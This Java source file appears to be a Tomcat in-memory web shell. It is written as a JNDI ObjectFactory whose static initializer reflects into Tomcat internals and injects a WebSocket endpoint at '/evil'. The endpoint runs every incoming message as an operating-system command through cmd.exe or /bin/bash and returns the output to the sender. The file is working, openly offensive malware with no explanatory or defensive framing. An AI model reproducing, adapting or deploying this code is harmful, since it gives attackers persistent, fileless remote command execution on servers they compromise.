import org.apache.catalina.WebResourceRoot;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.naming.Context;
import javax.naming.Name;
import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpoint;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Hashtable;
@ServerEndpoint("/evil")
public class MySocket implements javax.naming.spi.ObjectFactory{
static{
try {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Class clazz = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase");
Field field = clazz.getDeclaredField("resources");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) ((WebResourceRoot) field.get(webappClassLoaderBase)).getContext();
ServerEndpointConfig build = ServerEndpointConfig.Builder.create(MySocket.class, "/evil").build();
WsServerContainer container = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
System.out.println("Inject WebSocket Success!");
try {
container.addEndpoint(build);
} catch (DeploymentException e) {
throw new RuntimeException(e);
}
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}
private Session session;
@OnOpen
public void onOpen(Session session, EndpointConfig config) {
this.session = session;
}
@OnMessage
public void onMessage(String message) {
try {
boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");
Process exec;
if (iswin) {
exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
} else {
exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
}
InputStream ips = exec.getInputStream();
StringBuilder sb = new StringBuilder();
int i;
while((i = ips.read()) != -1) {
sb.append((char)i);
}
ips.close();
exec.waitFor();
session.getBasicRemote().sendText(sb.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}